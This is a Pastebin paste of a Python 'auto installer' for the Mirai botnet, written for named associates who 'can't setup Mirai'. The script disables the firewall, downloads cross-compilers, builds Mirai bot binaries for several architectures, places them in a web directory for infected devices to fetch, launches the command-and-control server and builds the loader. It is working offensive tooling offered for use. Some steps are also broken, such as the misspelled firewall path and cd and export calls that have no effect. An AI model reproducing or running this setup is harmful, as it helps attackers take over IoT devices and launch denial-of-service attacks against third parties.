FreeShells

MiraiAI [ Mirai Botnet Auto Installer!]

Jun 3rd, 2017
232
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.91 KB | None | 0 0
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-
  3. # Execute command - python miraiai.py
  4. import subprocess,os,sys,random,time,urllib2,subprocess
  5.  
  6. '''
  7.  
  8. ███╗ ███╗██╗██████╗ █████╗ ██╗ █████╗ ██╗
  9. ████╗ ████║██║██╔══██╗██╔══██╗██║ ██╔══██╗██║
  10. ██╔████╔██║██║██████╔╝███████║██║ ███████║██║
  11. ██║╚██╔╝██║██║██╔══██╗██╔══██║██║ ██╔══██║██║
  12. ██║ ╚═╝ ██║██║██║ ██║██║ ██║██║ ██║ ██║██║
  13. ╚═╝ ╚═╝╚═╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝╚═╝
  14.  
  15. */ ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ \*
  16. │ Mirai auto Installer, by jihadi │
  17. │ · Made for Narcotix & N00Dlez since they can't setup Mirai. │
  18. │ · Don't give this to ZoneHax or ~B1naryThaG0d~ │
  19. │ · This isn't a full setup, you still have to edit your configs. │
  20. *\ ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ /*
  21. */ ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ \*
  22. │ [Credits] │
  23. │ · Jihadi ϗ, Drought │
  24. │ · Contact: [email protected] // https://discord.gg/a4JcGm7 │
  25. │ · @Jihadi4Potus | Youtube: https://goo.gl/d3n5yU │
  26. *\ ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ /*
  27.  
  28. ━━━━━━━━━━━━━━━
  29. [Release Notes]
  30. ━━━━━━━━━━━━━━━
  31. >> This is my first python script, don't hate. <<
  32. 4/8/17
  33. · Added Y/n Function
  34. · Added Cross-Compile
  35. · Added goLang Paths and drivers
  36. · Added Auto ./build.sh debug telnet & release
  37.  
  38. ━━━━━━━━━━━━━━━━━━━━
  39. Title / Introduction
  40. ━━━━━━━━━━━━━━━━━━━━
  41. '''
  42.  
  43. def exec(cmd):
  44. subprocess.call(cmd, shell=True) # You should know what this does!
  45.  
  46.  
  47. print("\x1b[\x1b[37mTHIS ISNT A FULL SETUP YOU STILL HAVE TO EDIT YOUR CONFIGS\x1b[0m")
  48. time.sleep(3)
  49. print(" \x1b[97mMirai Auto-Installer CNC, Database, Loader! \x1b[0m")
  50. time.sleep(3)
  51. print(" \x1b[36mUpdating & Upgrading system \x1b[0m")
  52. time.sleep(3)
  53.  
  54. '''
  55. ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  56. Updating/upgraing system & Utils
  57. ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  58. '''
  59.  
  60. exec("apt-get update -y")
  61. exec("apt-get upgrade -y")
  62. exec("apt-get install -y sudo")
  63. print("\x1b[33m✪ \x1b[92mDone updating system for Mirai! \x1b[33m✪\x1b[0m")
  64. time.sleep(3)
  65.  
  66.  
  67. '''
  68. ━━━━━━━━━━━━━━━━━━━━━━
  69. Installing Mirai Utils
  70. ━━━━━━━━━━━━━━━━━━━━━━
  71. '''
  72.  
  73. print("\x1b[90m[\x1b[94m*\x1b[90m] \x1b[36mInstalling Mirai Utils \x1b[90m[\x1b[94m*\x1b[90m]\x1b[0m")
  74. exec("sudo apt-get install gcc golang electric-fence git mysql-server mysql-client bzip2 screen libc6-dev -y")
  75. exec("go get github.com/go-sql-driver/mysql")
  76. exec("go get github.com/mattn/go-shellwords")
  77. exec("/etc/ini.d/iptbales stop")
  78. print("\x1b[33m✪ \x1b[92mDone Installing Utils. \x1b[33m✪")
  79. time.sleep(3)
  80.  
  81.  
  82. '''
  83. ━━━━━━━━━━
  84. Wget Links
  85. ━━━━━━━━━━
  86. '''
  87.  
  88. getwget = ['https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2',
  89. 'https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2',
  90. 'https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2',
  91. 'https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2',
  92. 'https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2',
  93. 'https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2',
  94. 'https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2',
  95. 'https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2',
  96. 'http://distro.ibiblio.org/slitaz/sources/packages/c/cross-compiler-armv6l.tar.bz2']
  97.  
  98. ccs = ["cross-compiler-armv4l",
  99. "cross-compiler-i586",
  100. "cross-compiler-m68k",
  101. "cross-compiler-mips",
  102. "cross-compiler-mipsel",
  103. "cross-compiler-powerpc",
  104. "cross-compiler-sh4",
  105. "cross-compiler-sparc",
  106. "cross-compiler-armv6l"]
  107.  
  108. name = ["armv4l",
  109. "i586",
  110. "m68k",
  111. "mips",
  112. "mipsel",
  113. "powerpc",
  114. "sh4",
  115. "sparc",
  116. "armv6l"]
  117.  
  118. ck = ["mirai.arm7",
  119. "mirai.arm",
  120. "mirai.m68k",
  121. "mirai.mips",
  122. "mirai.mpsl",
  123. "mirai.ppc",
  124. "mirai.sh4",
  125. "mirai.x86"]
  126.  
  127. for wget in getwget:
  128. exec("mkdir /etc/xcompile")
  129. exec("wget " + wget + "")
  130. exec("tar -xvf *tar.bz2")
  131. exec("mv cross-compiler-* /etc/xcompile")
  132.  
  133. exec("export PATH=$PATH:/etc/xcompile/armv4l/bin")
  134. exec("export PATH=$PATH:/etc/xcompile/armv6l/bin")
  135. exec("export PATH=$PATH:/etc/xcompile/i586/bin")
  136. exec("export PATH=$PATH:/etc/xcompile/m68k/bin")
  137. exec("export PATH=$PATH:/etc/xcompile/mips/bin")
  138. exec("export PATH=$PATH:/etc/xcompile/mipsel/bin")
  139. exec("export PATH=$PATH:/etc/xcompile/powerpc/bin")
  140. exec("export PATH=$PATH:/etc/xcompile/powerpc-440fp/bin")
  141. exec("export PATH=$PATH:/etc/xcompile/sh4/bin")
  142. exec("export PATH=$PATH:/etc/xcompile/sparc/bin")
  143. exec("export PATH=$PATH:/etc/xcompile/armv6l/bin")
  144. exec("export PATH=$PATH:/usr/local/go/bin")
  145. exec("export GOPATH=$HOME/Documents/go")
  146. print("\x1b[33m✪ \x1b[92mDone, executing goLang paths \x1b[33m✪")
  147.  
  148.  
  149. '''
  150. ━━━━━━━━━━━━━━━━━━━━
  151. Telnet/Release build
  152. ━━━━━━━━━━━━━━━━━━━━
  153. '''
  154.  
  155. print("\x1b[90m[\x1b[94m*\x1b[90m] \x1b[36mBuilding Telnet/Release \x1b[90m[\x1b[94m*\x1b[90m]\x1b[0m")
  156. exec("cd /Mirai-Source-Code-master/mirai/")
  157. exec("./build.sh debug telnet")
  158. exec("./build.sh release telnet")
  159. exec("mv Mirai-Source-Code-master/mirai/prompt.txt Mirai-Source-Code-master/mirai/release/")
  160. exec("cd Mirai-Source-Code-master/mirai/release; mkdir /var/www/html/bins/; mv mirai.* miraint.* /var/www/html/bins")
  161.  
  162. '''
  163. ━━━━━━━━━━━━
  164. Starting CNC
  165. ━━━━━━━━━━━━
  166. '''
  167.  
  168. print("\x1b[90m[\x1b[94m*\x1b[90m] \x1b[36mStarting Mirai! Congratz! \x1b[90m[\x1b[94m*\x1b[90m]\x1b[0m")
  169. exec("cd Mirai-Source-Code-master/mirai/release/; screen ./cnc")
  170.  
  171.  
  172. '''
  173. ━━━━━━━━━━━━━━━━━
  174. Setting up loader
  175. ━━━━━━━━━━━━━━━━━
  176. '''
  177.  
  178. print("\x1b[1m\x1b[93m⚠⚠⚠ \x1b[31mREAD \x1b[37m>\x1b[31m> \x1b[37mTHIS ISNT A FULL SETUP YOU STILL HAVE TO EDIT YOUR CONFIGS (main.c in dlrs) \x1b[93m⚠⚠⚠\x1b[0m")
  179. time.sleep(7)
  180. print("\x1b[90m[\x1b[94m*\x1b[90m] \x1b[36mSetting up loader Stand by \x1b[90m[\x1b[94m*\x1b[90m]\x1b[0m")
  181. exec("cd Mirai-Source-Code-master/mirai/dlr")
  182. exec("./build.sh")
  183. exec("cp /Mirai-Source-Code-master/dlr/release/dlr.* /Mirai-Source-Code-master/loader/bins")
  184. print("\x1b[1m\x1b[93m⚠⚠⚠ \x1b[31mREAD \x1b[37m>\x1b[31m> \x1b[37mMake sure u Edit line 37 & 38 & line 53 in main.c \x1b[93m⚠⚠⚠\x1b[0m")
  185. time.sleep(7)
  186. exec("cd /Mirai-Source-Code-master/loader/src/; nano main.c")
  187.  
  188. '''
  189. ━━━━━━━━━━━━━━━━━
  190. $ End of Script $
  191. ━━━━━━━━━━━━━━━━━
  192. '''
Add Comment
Please, Sign In to add comment